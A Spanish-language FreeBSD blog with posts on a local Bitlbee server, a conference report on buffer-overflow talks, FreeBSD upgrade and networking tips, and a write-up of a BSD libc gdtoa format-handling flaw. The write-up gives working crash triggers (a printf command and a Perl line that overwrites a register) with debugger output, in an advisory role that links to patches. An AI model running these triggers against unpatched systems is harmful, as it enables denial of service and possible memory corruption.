BeastiePara conectarme a los distintos servicios de mensajería instantanéa utilizo Bitlbee, esto es un gateway por IRC hacia los distintos protocolos que usamos diariamente (Jabber, Oscar, MSN, etc.). Esto me permite mantener integrado en un solo cliente de IRC (en mi caso Irssi), todo lo referido a mensajería instantanea.

El problema

Siempre me conecte a alguno de los servidores públicos de Bitlbee como es el caso de im.bitlbee.org o también testing.bitlbee.org, uno de los problemas que tiene utilizar estos servidores públicos es que se conecta a ellos utilizando el protocolo IRC, que como sabemos viaja en texto plano (legible para el ojo humano) hacia ese servidor público, por lo cual, cualquiera que levante un sniffer en cualquier punto de la ruta hasta el servidor podría leer el contenido de los paquetes que enviamos y perderiamos la privacidad de nuestra comunicación como asi también podria inyectar paquetes o modificarlos on the fly.
Hice una pequeña prueba en mi red local, a fin de ilustrar mejor lo que digo, haciendo un MITM (Man in the middle) y caputrando algunos paquetes con un filtro para conexiones IRC, este es el resultado:

0000  00 22 6b 5e 77 10 00 21  00 d8 d2 3a 08 00 45 00   ."k^w..! ...:..E.
0010  00 58 8f 3d 40 00 40 06  ef 96 c0 a8 01 64 4a d0   .X.=@.@. .....dJ.
0020  ae ef e3 66 1a 0b 53 b9  17 02 73 99 17 54 80 18   ...f..S. ..s..T..
0030  03 ea 4e 89 00 00 01 01  08 0a 00 eb 2a b7 46 67   ..N..... ....*.Fg
0040  21 6e 50 52 49 56 4d 53  47 20 23 53 61 6e 4c 75   !nPRIVMS G #SanLu
0050  69 58 20 3a 63 68 65 20  63 6f 6e 73 74 61 6e 74   iX :che  constant
0060  69 6e 65 20 0d 0a                                  ine ..           

Como vemos en este ejemplo se puede leer el texto "che constatine", de esta forma, estara legible todo texto que enviemos utilizando IRC, o cualquier otro servicio que envie ’sus cosas’ en texto plano, como HTTP, FTP, TELNET, etc.

La solución

Como no queria que mis mensajes viajen de esta forma atravèz de la Internet, y aprobechando que el protocolo libre Jabber soporta cifrado SSL como asi también PGP/GPG, decidi montar un servidor Bitlbee local en una PC de escritorio que utilizo con FreeBSD. De esta forma, aprobechaba las bondades del protocolo Jabber en ofrecerme cifrado y haciendo uso mas seguro del mismo.

Como primera medida, lo que hise fue instalar utilizando los ports el servidor Bitlbee:

#: cd /usr/local/ports/net/irc/bitlbee && make install clean

Vale destacar que el mismo port, soporta las siguientes opciones de configuración:

===> The following configuration options are available for bitlbee-1.2.4:
     DEBUG=Off (default) "Enable debug support"
     IPV6=On (default) "Enable IPv6 support"
     OPENSSL=Off (default) "Use OpenSSL rather than GnuTLS"
     MSN=On (default) "Enable MSN protocol support"
     JABBER=On (default) "Enable Jabber (XMPP) protocol support"
     OSCAR=On (default) "Enable OSCAR (ICQ, AIM) protocol support"
     YAHOO=On (default) "Enable Yahoo! protocol support"

Una vez que termino de compilar e instalar, me dirigi al archivo de configuración del mismo, que se encuentra en /usr/local/etc/bitlbee/bitlbee.conf. Agregue el usuario bitlbee al sistema, para que corra bajo un usuario con los minimos privilegios posibles y procedi a editarlo para dejarlo configurado acorde a mis necesidades. Entre algunas de las opciones destaco las siguientes:

## RunMode:
##
## Inetd -- Run from inetd (default)
## Daemon -- Run as a stand-alone daemon, serving all users from one process.
## This saves memory if there are more users, the downside is that when one
## user hits a crash-bug, all other users will also lose their connection.
## ForkDaemon -- Run as a stand-alone daemon, but keep all clients in separate
## child processes. This should be pretty safe and reliable to use instead
## of inetd mode.
##
RunMode = Daemon
## User:
##
## If BitlBee is started by root as a daemon, it can drop root privileges,
## and change to the specified user.
##
User = bitlbee
## DaemonPort/DaemonInterface:
##
## For daemon mode, you can specify on what interface and port the daemon
## should be listening for connections.
##
DaemonInterface = 10.10.10.2
DaemonPort = 6667
## AuthPassword
##
## Password the user should enter when logging into a closed BitlBee server.
## You can also have an MD5-encrypted password here. Format: "md5:", followed
## by a hash as generated for the attribute in a BitlBee
## XML file (for now there's no easier way to generate the hash).
##
# AuthPassword = ItllBeBitlBee ## Heh.. Our slogan.
## or
AuthPassword = md5:29d00d11345256s34466a6139f0370


Respecto al password para autenticarse soporta hashes md5, que si bien no es el algoritmo de hashing mas seguro, al menos nos proporciona una capa de seguridad.
Ahora solo queda iniciar el daemon, para comenzar a utilizar nuestro servidor bitlbee:

#: /usr/local/etc/rc.d/bitlbee start

Y listo :D , ya tenemos un servidor Bitlbee local en el cual configuraremos nuestras cuentas de mensajeria instantanéa aprobechando las bondades de utilizar protocolos como Jabber que al menos nos proveen una capa de encriptado.

Tags: , , , ,

Queridos amigos!, aquí estoy nuevamente en casa, una semana despúes para contarles todo lo que paso en las Jornadas del Sur, en Bahia Blanca!. Primero que nada quiero agradecerles a todos los chicos de la organización, a los dos Nico’s, y a toda la gente que con mucho trabajo y sacrificio hicieron posible este evento, que a mi punto de vista, fue uno de los mas lindos que acudi, y que más comodo me senti. La verdad que impicable.
UniversidadMostrando

Ahora si, el relato:

Salimos con Damían Noseda desde San Luis el viernes 14 de agosto. El colectivo salio prácticamente a horario, hiso algunas cuantas paradas (Realico, Santa Rosa, entre otros lugares), y luego de 13 largas horas llegamos a Bahia Blanca, fuimos hasta el Hotel Muniz, donde hicimos el checkin, dejamos nuestro equipaje, y fuimos hacia la Universidad del Sur, donde ya hacia unas horas habia comenzado el evento. Al llegar fuimos muy bien recividos, nos acreditamos e inmediatamente me encontre con mis amigos Diego Accorinti (animaCCo), egrub, Ezequiel Aranda, Maria Elena Casañas, Pablo de Napolí  y muchos mas.

La primera charla a la que asisti fue a la de Diego, titulada: ‘Diseño web con herramientas libres‘, la verdad que buenisima, además de tocarme hacer de fotografó personal de Diego y filarlo durante su charla. Me gusto mucho la charla, sencilla, bien orientada al diseño web, y demostrando que con la utilización de software libre es posible cumplir con las necesidades de cualquier programador y/o diseñador web. Hablo de IDE’s, frameworks, HTML/HTML 5, librerías JavaScript, gestores de contenidos.

Al ratito se vino mi charla, tal véz la más técnica que di en mi vida, titulada ‘Buffer Overflow – Smashing the stack‘, no me convencio mucho como salio la charla, pero la concurrencia de público fue genial, tenia tal vez 60 o 70 personas escuchando mi humilde ponencia.

ABO-1-GDBgrosos

Arranque explicando un poquito la arquitectura Intel x86, hable sobre rings de ejecución, llamadas al sistema, organización de la memoria con sus debidas secciones (.text, .data, .heap, stack, etc), paginación y marcos de página, Assembler x86, para por ultimo abordar de lleno el objetivo de la charla, la explatación de buffers overflow sobre GNU/Linux. Hise un simple ejemplo de buffer overflow, para luego comenzar a explicar sobre shellcodes y como escribirlas, mostre algunas de ellas. Como segundo punto mostre otro pequeño ejemplo de buffer overflow, para ejecutar un exploit que realize con el lenguaje Python.
Cuando ya me habia enchufado bastante vinieron los chicos de la organización a decirme que no tenia más tiempo, asi que termine la charla mostrando un ejemplo de unas rutinas en ensamblador que hacian un ‘kill -9 -1′ a todos mis procesos en ejecución.

Al terminar la charla, se vino un monton de gente del público a preguntarme cosas, que les pase las diapositivas y algunos pappers o ejemplos sobre programitas vulnerables a buffer overflow, la verdad que esto fue genial, y me agrado mucho que les gustara mi charla.

ASMFas

Durante el día, el social time hiso efecto, y estuve hablando y conociendo a mucha gente, casi al final me encontre con Luar y Pablo Villa que habian venido desde Uruguay.
El primer día de Jornadas se fue rápido, aunque fue bastante intenso, con un show de tango en vivo en el auditorio de la Universidad del Sur. Impecable. Por la noche quedamos en juntarnos en un bar para luego ir a bailar, pero solo un rátito, pues yo tenia charla a las 10 de la mañana y otra a las 11 de la mañana, ademas de tener muuucho sueño por el largo viaje. Esto no fue asi, fuimos a un boliche, empeze a tomar algo de alcohol, y quienes me conocen saben bien que me sucede a mi en estas situaciones, cai al hotel a las 7 de la mañana. Dormi una hora, me levante, me bañe y me fui para la universidad.

Mi segunda charla titulada ‘El interprete de comandos de Unix‘, estaba por comenzar, pero hubo un pequeño inconveniente, cuando iba para el aula, me entero de que no habia Internet, y necesitaba esto ya que iba a basar mi charla en que bajo un interprete de comandos era posible hacer lo mismo que bajo una sesión gráfica (chatear, escuchar música, navegar por la web, ver videos, etc.). Esto no pudo ser, así que en 3 minutos tuve que improvisar una charla. Esta salio bien, hable sobre syscalls, Assembler x86, mostre algunos ejemplos de Assembler como un ‘Hello World’ modificado a ‘Hola Bahia Blanca’, hable sobre NASM, Framebuffer y mostre un pequeño video de South Park en el que matan a Bill Gates, utilizando el Framebuffer, MPlayer y una tty. Termine la charla explicando sobre creación de procesos (fork, wait, quit, system). La verdad que quede conforme realmente.

Security1Comiendo-1

Ahi nomas se vino mi tercera y ultima charla, ‘Security for FreeBSD and Kernel debugging‘, esta charla me encanto, si bien es re teórica, y medio aburrida salio genial, y además fue muy similar a la que di en el BSD Day 2009, hable sobre distintos aspectos en la seguridad de un sistema FreeBSD, aunque también meti bocadillos sobre OpenBSD. Hable sobre contabilidad de procesos, OPIE y contraseñas de un solo uso, ACL’s de archivos, usuarios, grupos, permisos, para terminar hablando un poquito sobre kernel debuggng, que no pude explayar demasiado por que me quede sin tiempo. La charla como dije me gusto, se produjo un buen feedback con el público y salio barbara.

Durante el día hubo un pequeño inconveniente, que lo considero totalmente positivo entre un señor, y una charla sobre voto electroníco, que en conjunto con Luciano Bello y Leito Monk, pudimos llegar a la conclusión de que es correcto seguir pidiendo la NO implementación del voto electrónico.
TodosSecurity2

Al tercer día me levante bastante temprano, desayune mucho en el hotel y fui a la charla de Margarita Manterola, sobre el proyecto Debian, la verdad que me gusto mucho fue muy objetiva, aclaro muchas dudas, e incentivo al público a coolaborar con el proyecto Debian y como hacerlo. Ahi mismo Luciano me regalo una calco de Debian que ya esta pegada en la tapa de mi notebook!.
Por la tarde asisti a la ultima charla del evento “Aspectos de Seguridad en Linux” por Luciano Bello. La charla genial, super divertida, muy entretenida, y aprendi mucho en ella. Es una charla que nunca te aburre y da para que sea de 2 horas o más también.

El evento termino tipo 20:00 hs. donde nos fuimos a comer todos juntos, a reirnos un monton y pasarla bien.
La verdad que el evento fue impecable y espero que se repita en años próximos para poder asistir. En fin gracias a los chicos de la organización por este evento!.

Tags: , , , , , ,

Este día Sábado 15, Domingo 16 y Lunes 17 (es feriado) de Agosto, se va a realizar en Bahia Blanca las Jornadas del Sur. Un evento compuesto de charlas y talleres orientados a las temáticas de Software Libre y OpenSource, con una diversidad de temáticas realmente enorme, para todas las aréas y disciplinas.

El evento se llevara a cabo en la Universidad Nacional del Sur (Alem 1253) a partir de las 10:30 A.M. con entrada libre y gratuita.
La verdad que dandole una rápida mirada al cronograma puede notarse lo interesentes que resultan ser algunas de las charlas (por no decir la mayoría) y la cantidad de disertantes que van a concurrir al evento. Pueden verificar el cronograma de charlas y actividades, e inclusivo descargarlo en una versión en formato PDF para imprimir.

En mi caso particular voy a estar participando con tres charlas:

Voy a viajar junto con mi amigo Damian Noseda, desde la ciudad de San Luis, un viaje de mas de 12 horas, que estoy seguro que valdra la pena.

Aprovecho para invitar al evento a todo aquel que pueda asitir, se incriba, pues tener este tipo de conferencias en la Argentina, de manera gratuita es un lujo realmente.

Tags: , , , , , , , , , , , , , , ,

Leyendo SecurityFocus me entero de una nueva vulnerabilidad que afecta a los sistemas BSD, FreeBSD, NetBSD e inclusive OpenBSD!, en este caso especificamente en libc.

Esto fue causado por la nueva implementación de gdtoa, dentro de libc que realizaron múltiples forks BSD, para brindar mejor soporte a funciones como printf y similares.

El bug es del tipo format string, en la cual, debido al mal formateo de funciones como printf, vprintf, es posible sobreescribir información del stack y registros, como así también extraerla. Aunque el fin principal de este tipo de explotación es la ejecución de codígo arbitrario por parte del atacante al sistema, sea local o remoto, pudiendo incluso bypassear varias protecciones.

Los sitemas afectados, como veiamos, son las tres forks mas populares de la familia BSD. Si hablamos de versiones podemos decir que se encuentran afectadas por este bug: OpenBSD 4.5, NetBSD 5, FreeBSD 7.2-STABLE hasta 6.4-RELEASE. Lo cual da una enorme cantidad de equipos afectados alrrededor del mundo.

Para comprobarlo, teniendo un sistema de los anteriores mensionados, en una terminal ejecutamos:

# printf %1.262159f 1.1
Memory fault (core dumped)

asprintf(3) va a crashear si se utiliza asprintf(ssij, "%0.262159f",x), donde x tenga un valor distinto a cero.
Al ejecutarlo, se generara el archivo core, el cual podemos analizar utilizando gdb o cualquier otro debugger.

#: gdb /cxib/C/check

(gdb) r
Starting program: /cxib/C/check
Program received signal SIGSEGV, Segmentation fault.
0xbbbb79d9 in __Balloc_D2A () from /usr/lib/libc.so.12
(gdb) bt
#0 0xbbbb79d9 in __Balloc_D2A () from /usr/lib/libc.so.12
#1 0xbbbab6d7 in __rv_alloc_D2A () from /usr/lib/libc.so.12
#2 0xbbba8db5 in __dtoa () from /usr/lib/libc.so.12
#3 0xbbba671f in __vfprintf_unlocked () from /usr/lib/libc.so.12
#4 0xbbb882e1 in asprintf () from /usr/lib/libc.so.12
#5 0x08048706 in main () at check.c:6

Si vemos el archivo src/lib/libc/gdtoa/gdtoaimp.h, encontramos la fuente del problema.

- ---gdtoaimp.h---
#define Kmax 15
- ---gdtoaimp.h---

La máxima longitud para Kmax es 15,
Si nosotros elegimos un valor mas grande, como 17, el programa va a hacer overflow en el array, y escribiedno 0×1 en la región .bss (variables sin inicializar), produciendo de esta forma el crash.

---- gdtoaimp.h --- /* gdtoaimp.h -> src/lib/libc/gdtoa/misc.c */ #define Kmax (sizeof(size_t) << 3) if ( (rv = freelist[k]) !=0) {   freelist[k] = rv->next; } else {   x = 1 << k;   #ifdef Omit_Private_Memory   rv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(ULong));   #else   len = (sizeof(Bigint) + (x-1)*sizeof(ULong) + sizeof(double) - 1)/sizeof(double);   if ((double *)(pmem_next - private_mem + len) <= (double *)PRIVATE_mem)   {     rv = (Bigint*)(void *)pmem_next; pmem_next += len;   }   else     rv = (Bigint*)MALLOC(len*sizeof(double));   #endif if (rv == NULL) return NULL;   rv->k = k;   rv->maxwds = x; } ---- src/lib/libc/gdtoa/misc.c ----

Podemos examinar mejor esto de la siguiente manera:

# printf %1.262159f 1.1
Memory fault (core dumped)

La manipulación de registros como EDI o ESI es posible, y bastante facil, veamos un ejemplo de como manipular estos registros utilizando printf.

printf %11.2109999999f
210919999199919999199991791199.500000000000000
0000000000000000001000000000001001

ESI = 0×12
EDI = 0×1d

Podemos hacer esto aún mas simplificado, con el siguiente script en Perl, cuya función print es vulnerable, y hacer que sobreescribira ESI asignandole un valor de 0×41414141 (AAAA en Hexadecimal).

#----------BEGIN----------#
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
#------------END-----------#

Funciones como printf(3), strfmon(3), fprintf(3), sprintf(3), snprintf(3), asprintf(3), vprintf(3), vfprintf(3), vsprintf(3), vsnprintf(3), vasprintf(3) y otras son vulnerables con la nueva implementación de gtdoa. Otros lenguajes aparte de Perl también se encuentran vulnerables.
Por suerte ya se encuentran actualizaciones para este bug, dejo algunos links que pueden resultar utiles.

[*] OpenBSD: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
[*] NetBSD: http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h
[*] FreeBSD: http://www.freebsd.org/

Tags: , , , , , ,

Este es el video de mi charla en el BSDday 2009 – Realizado el día 29 y 30 de Mayo en Ciudad Universitaria (UBA), Buenos Aires, Argentina.
La disertación fue llamada: “Security for FreeBSD and Kernel Debugging”, e intenta ser un resumen de los distintos mecanismos de protección a nivel herramientas del sistema operativo que nos proporciona FreeBSD como otros tantos entornos de trabajo BSD.
Espero que disfruten del video.

Tags: , , , , , ,

Hoy necesitaba crear un alias para la NIC de mi PC principal, esta PC trabaja en la red 192.168.1.0, pero yo necesitaba también acceder ocasionalmente a otra subred en el rango 10.10.10.0, para no tener que modificar totalmente la configuración de ifconfig, en cada momento que lo deseara hacer cree un alias de mi NIC nfe0.
¿Como lo hise?, muy sencillo de la siguiente forma:
En una terminal como root, escribi:

ifconfig nfe0 10.10.10.2 netmask 255.255.255.0 alias

Podemos verificar que todo salio bien haciendo un ifconfig, en mi caso:

root #: ifconfig nfe0
nfe0: flags=8943 metric 0 mtu 1500
        options=8
        ether 16:b5:d0:8f:13:00
        inet 192.168.1.2 netmask 0xffffff00 broadcast 192.168.1.255
        inet 10.10.10.2 netmask 0xffffff00 broadcast 10.10.10.255
        media: Ethernet autoselect (100baseTX )
        status: active

Como vemos tenemos ambas direcciones IP’s en la NIC, lo cual significa que el alias se ha creado correctamente.

Pero esta configuración iba a desaparecer con el primer reinicio, por lo cual intente que esta persista, asi que en mi /etc/rc.conf agregue lo siguiente:

ifconfig_nfe0_alias0="10.10.10.2 netmask 255.255.255.0"

Y listo!, ya tengo un alias configurado para mi NIC en FreeBSD!.

Tags: , , , ,

freebsdHace unos días descargue el DVD de FreeBSD 7.2-RC2, lo instale y configure correctamente sin mayores problemas. A los pocos días me entero de que salio la versión definitiba de 7.2 por lo cual no me quedo otra que actualizar, el proceso es realmente muy sencillo de realizar (aunque demora su tiempo), aquí les explico como:

Como primer punto, necesitaremos tener instalada una aplicación que nos permite realizar este proceso, ella es freebsd-update, que la podemos instalar directamente desde nuestra colección de ports, para ello como root:

#: cd /usr/ports/ && make search name=freebsd-update

Esto nos devuelve lo siguiente:

Port: freebsd-update-1.6_2
Path: /usr/ports/security/freebsd-update
Info: Fetches and installs binary updates to FreeBSD
Maint: cperciva@daemonology.net
B-deps:
R-deps:
WWW: http://www.daemonology.net/freebsd-update/

De esta manera buscamos el port de freebsd-update, una vez encontrado procedemos a inslarlo:

#: cd security/freebsd-update && make install clean

Una vez instalado pasaremos a realizar la actualización en si misma, como primer punto deberemos actualizar toda nuestra colección de ports, lo cual es un proceso lento, por lo que recomiendo hacerlo por la noche e irse a dormir, pues cuando despierten estara listo. Necesitamos tener instalado portupgrade, en caso de no tenerlo podemos instalarlo desde el arbol de ports.

#: portupgrade -faP

En este momento podemos ir a dormir unas horas, que cuando despertemos todo estaria listo, esto reinstalara todos los ports que esten instalados en el sistema, lo cual demanda tiempo de compilación, descarga de codigos de fuentes, entre otras.
Cuando esto termine procedemos a hacer indicandole con el parametro -r la versión (superior o posterior) a la que queremos pasar.

#: freebsd-update -r 7.2-RELEASE upgrade
Looking up update.FreeBSD.org mirrors... 1 mirrors found.
Fetching metadata signature for 7.2-RELEASE from update1.FreeBSD.org... done.
Fetching metadata index... done.
Inspecting system... done.

The following components of FreeBSD seem to be installed:
kernel/smp src/base src/bin src/contrib src/crypto src/etc src/games
src/gnu src/include src/krb5 src/lib src/libexec src/release src/rescue
src/sbin src/secure src/share src/sys src/tools src/ubin src/usbin
world/base world/info world/lib32 world/manpages
The following components of FreeBSD do not seem to be installed:
kernel/generic world/catpages world/dict world/doc world/games
world/proflibs

Does this look reasonable (y/n)? y

Este proceso es mucho mas corto, que el anterior, lo cual no tiene por que implicar mayores dificultades, nos dira los componentes del sistema que debe actualizar, lo aceptamos, y esperamos a que se descargen las actualizaciones. Una vez finalizado seguimos con:

#: freebsd-update install

Ahora nos queda reiniciar el sistema:

#: reboot

Al iniciar el sistema si hacemos un uname -r nos debería aparecer lo siguiente:

#: uname -r
7.2-RELEASE

Y hemos concluido la actualización de FreeBSD 7.2-RC2 a 7.0-RELEASE, en mi caso como utilizo el driver de nvidia, tuve algunos problemas con GLX, lo cual lo solucione facilmente descargando el modulo, y recompilando el driver, para volver a cargarlo.

Tags: , , ,

Supongo que la gente que realizo este comercial de Windows para 386 alla por los años 90’s estaba consumiendo algun tipo de droga experimental o algo similar, porque realmente no se puede creer el grado de ridiculez de esta publicidad.

Tags: , , , , ,

Creative Commons License
Esta obra es publicada bajo una licencia Creative Commons.